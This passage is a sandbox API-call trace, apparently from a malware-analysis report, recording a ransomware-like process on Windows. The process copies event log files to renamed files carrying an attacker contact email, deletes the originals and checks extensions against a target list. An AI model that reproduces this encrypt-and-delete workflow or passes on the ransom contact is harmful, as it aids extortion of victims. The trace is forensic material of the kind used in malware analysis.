	[0082.447] ReadFile (in: hFile=0x370, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.447] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0082.447] SetEndOfFile (hFile=0x324) returned 1
	[0082.447] CloseHandle (hObject=0x324) returned 1
	[0082.449] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.449] SetEndOfFile (hFile=0x370) returned 1
	[0082.450] CloseHandle (hObject=0x370) returned 1
	[0082.451] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.451] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1
	[0082.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.893] lstrlenW (lpString=".doc") returned 4
	[0082.893] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.893] lstrlenW (lpString=".docx") returned 5
	[0082.893] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.893] lstrlenW (lpString=".pdf") returned 4
	[0082.893] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.893] lstrlenW (lpString=".xls") returned 4
	[0082.904] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.904] lstrlenW (lpString=".xlsx") returned 5
	[0082.904] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.904] lstrlenW (lpString=".ppt") returned 4
	[0082.904] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.904] lstrlenW (lpString=".zip") returned 4
	[0082.904] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.904] lstrlenW (lpString=".rar") returned 4
	[0082.904] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.905] lstrlenW (lpString=".bz2") returned 4
	[0082.905] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.905] lstrlenW (lpString=".7z") returned 3
	[0082.905] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.905] lstrlenW (lpString=".dbf") returned 4
	[0082.905] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.905] lstrlenW (lpString=".1cd") returned 4
	[0082.905] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.905] lstrlenW (lpString=".jpg") returned 4
	[0082.905] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.905] lstrlenW (lpString=".doc") returned 4
	[0082.905] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.905] lstrlenW (lpString=".docx") returned 5
	[0082.905] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.905] lstrlenW (lpString=".pdf") returned 4
	[0082.905] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.905] lstrlenW (lpString=".xls") returned 4
	[0082.905] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.905] lstrlenW (lpString=".xlsx") returned 5
	[0082.905] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.905] lstrlenW (lpString=".ppt") returned 4
	[0082.905] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.905] lstrlenW (lpString=".zip") returned 4
	[0082.905] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.905] lstrlenW (lpString=".rar") returned 4
	[0082.905] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.905] lstrlenW (lpString=".bz2") returned 4
	[0082.905] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.906] lstrlenW (lpString=".7z") returned 3
	[0082.906] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.906] lstrlenW (lpString=".dbf") returned 4
	[0082.906] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.906] lstrlenW (lpString=".1cd") returned 4
	[0082.906] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0082.906] lstrlenW (lpString=".jpg") returned 4
	[0082.906] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.906] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.906] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70
	[0082.906] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.907] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0082.907] CloseHandle (hObject=0x358) returned 1
	[0082.907] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20
	[0082.907] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.907] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.908] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.908] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.908] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.908] GetLastError () returned 0x0
	[0082.908] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.911] WriteFile (in: hFile=0x384, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.916] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.916] WriteFile (in: hFile=0x384, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x160, lpOverlapped=0x0) returned 1
	[0082.916] SetEndOfFile (hFile=0x384) returned 1
	[0082.917] CloseHandle (hObject=0x384) returned 1
	[0082.923] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.923] SetEndOfFile (hFile=0x358) returned 1
	[0082.924] CloseHandle (hObject=0x358) returned 1
	[0082.924] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.925] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1
	[0082.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.925] lstrlenW (lpString=".doc") returned 4
	[0082.925] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.925] lstrlenW (lpString=".docx") returned 5
	[0082.925] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.925] lstrlenW (lpString=".pdf") returned 4
	[0082.925] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.925] lstrlenW (lpString=".xls") returned 4
	[0082.925] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.925] lstrlenW (lpString=".xlsx") returned 5
	[0082.925] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.925] lstrlenW (lpString=".ppt") returned 4
	[0082.925] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.925] lstrlenW (lpString=".zip") returned 4
	[0082.925] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.925] lstrlenW (lpString=".rar") returned 4
	[0082.925] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.925] lstrlenW (lpString=".bz2") returned 4
	[0082.925] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.925] lstrlenW (lpString=".7z") returned 3
	[0082.925] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.925] lstrlenW (lpString=".dbf") returned 4
	[0082.925] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.925] lstrlenW (lpString=".1cd") returned 4
	[0082.926] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.926] lstrlenW (lpString=".jpg") returned 4
	[0082.926] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.926] lstrlenW (lpString=".doc") returned 4
	[0082.926] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.926] lstrlenW (lpString=".docx") returned 5
	[0082.926] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.926] lstrlenW (lpString=".pdf") returned 4
	[0082.926] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.926] lstrlenW (lpString=".xls") returned 4
	[0082.926] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.926] lstrlenW (lpString=".xlsx") returned 5
	[0082.926] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.926] lstrlenW (lpString=".ppt") returned 4
	[0082.926] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.926] lstrlenW (lpString=".zip") returned 4
	[0082.926] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.926] lstrlenW (lpString=".rar") returned 4
	[0082.926] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.926] lstrlenW (lpString=".bz2") returned 4
	[0082.926] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.926] lstrlenW (lpString=".7z") returned 3
	[0082.926] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.926] lstrlenW (lpString=".dbf") returned 4
	[0082.926] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.926] lstrlenW (lpString=".1cd") returned 4
	[0082.926] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.926] lstrlenW (lpString=".jpg") returned 4
	[0082.926] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.927] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.927] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76
	[0082.927] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.928] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0082.929] CloseHandle (hObject=0x358) returned 1
	[0082.929] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20
	[0082.929] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.929] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.929] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.929] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.929] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.929] GetLastError () returned 0x0
	[0082.929] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.932] WriteFile (in: hFile=0x384, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.934] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.934] WriteFile (in: hFile=0x384, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x16c, lpOverlapped=0x0) returned 1
	[0082.934] SetEndOfFile (hFile=0x384) returned 1
	[0082.934] CloseHandle (hObject=0x384) returned 1
	[0082.936] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.936] SetEndOfFile (hFile=0x358) returned 1
	[0082.938] CloseHandle (hObject=0x358) returned 1
	[0082.938] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.938] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1
	[0082.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0082.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0082.938] lstrlenW (lpString=".doc") returned 4
	[0082.939] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.939] lstrlenW (lpString=".docx") returned 5
	[0082.939] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.939] lstrlenW (lpString=".pdf") returned 4
	[0082.939] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.939] lstrlenW (lpString=".xls") returned 4
	[0082.939] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.939] lstrlenW (lpString=".xlsx") returned 5
	[0082.939] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.939] lstrlenW (lpString=".ppt") returned 4
	[0082.939] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0082.939] lstrlenW (lpString=".zip") returned 4
	[0082.939] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.939] lstrlenW (lpString=".rar") returned 4
	[0082.939] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.939] lstrlenW (lpString=".bz2") returned 4
	[0082.939] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.939] lstrlenW (lpString=".7z") returned 3
	[0082.939] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0082.939] lstrlenW (lpString=".dbf") returned 4
	[0082.939] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0082.939] lstrlenW (lpString=".1cd") returned 4
	[0082.939] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0082.939] lstrlenW (lpString=".jpg") returned 4
	[0082.939] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0082.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0082.939] lstrlenW (lpString=".doc") returned 4
	[0082.939] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.939] lstrlenW (lpString=".docx") returned 5
	[0082.939] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.939] lstrlenW (lpString=".pdf") returned 4
	[0082.940] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.940] lstrlenW (lpString=".xls") returned 4
	[0082.940] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.940] lstrlenW (lpString=".xlsx") returned 5
	[0082.940] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.940] lstrlenW (lpString=".ppt") returned 4
	[0082.940] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0082.940] lstrlenW (lpString=".zip") returned 4
	[0082.940] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.940] lstrlenW (lpString=".rar") returned 4
	[0082.940] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.940] lstrlenW (lpString=".bz2") returned 4
	[0082.940] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.940] lstrlenW (lpString=".7z") returned 3
	[0082.940] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0082.940] lstrlenW (lpString=".dbf") returned 4
	[0082.940] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0082.940] lstrlenW (lpString=".1cd") returned 4
	[0082.940] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0082.940] lstrlenW (lpString=".jpg") returned 4
	[0082.940] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.940] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.940] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42
	[0082.940] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.941] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0082.941] CloseHandle (hObject=0x358) returned 1
	[0082.941] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20
	[0082.941] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.941] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.941] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.941] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.941] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0083.305] GetLastError () returned 0x0
	[0083.305] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.360] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.362] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.362] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x128, lpOverlapped=0x0) returned 1
	[0083.362] SetEndOfFile (hFile=0x338) returned 1
	[0083.362] CloseHandle (hObject=0x338) returned 1
